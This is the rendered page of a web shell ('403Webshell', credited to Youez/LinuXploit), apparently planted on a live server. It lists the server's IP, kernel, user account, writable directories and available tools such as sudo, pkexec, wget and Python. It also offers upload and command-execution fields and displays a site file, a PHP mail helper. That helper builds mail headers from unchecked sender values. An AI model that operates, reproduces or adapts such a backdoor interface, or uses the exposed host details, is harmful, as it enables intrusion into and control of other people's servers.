403Webshell
Server IP : 103.48.194.25  /  Your IP : 216.73.217.33
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux VMHostDefault 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
User : sieuthimay ( 1016)
PHP Version : 8.2.20
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/pundarikanail.com-bk/wadmin/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pundarikanail.com-bk/wadmin/helpers/mail_helper.php
<?php
      function sendmail($name,$from,$to,$subject,$message){
        $mess=$message;
        $headers = "From: ".$name." <".$from.">\n";
        $headers .= "Reply-To: ".$name." <".$from.">\n";
        $headers .= "MIME-Version: 1.0\n";
        $headers .= "Content-Type: text/html; charset=\"utf-8\"\n";
        return @mail( $to, $subject, $mess, $headers );          
      }
      function info_send_mail(){
          $CI = get_instance();
          $CI->load->config('config_contact');
          $mess = '<div>----------------------------</div>';
          $mess .='<div><b>'.$CI->config->item('contact_name').'</b></div>';
          $mess .='<div><b>Địa chỉ:</b> '.$CI->config->item('contact_address').'</div>';
          $mess .='<div><b>Điện thoại:</b> '.$CI->config->item('contact_phone').' - '.$CI->config->item('contact_mobile').'</div>';
          $mess .='<div><b>Email:</b> '.$CI->config->item('contact_email').'</div>';
          $mess .='<div><b>Fax:</b> '.$CI->config->item('contact_fax').'</div>';
          return $mess;
      }   
      
      function send($to,$subject,$message){
          $CI = get_instance();          
          $mess =$message;
          $contact_name = "=?UTF-8?B?".base64_encode($CI->config->item('contact_name')).'?=';
          $headers = "From: ".$contact_name." <".$CI->config->item('contact_email').">\n";
          $headers .= "Reply-To: ".$contact_name." <".$CI->config->item('contact_email').">\n";
          $headers .= "MIME-Version: 1.0\n";
          $headers .= "Content-Type: text/html; charset=UTF-8\n";
          return @mail( $to, "=?UTF-8?B?".base64_encode($subject).'?=', $mess, $headers );           
      }           
?>

Youez - 2016 - github.com/yon3zu
LinuXploit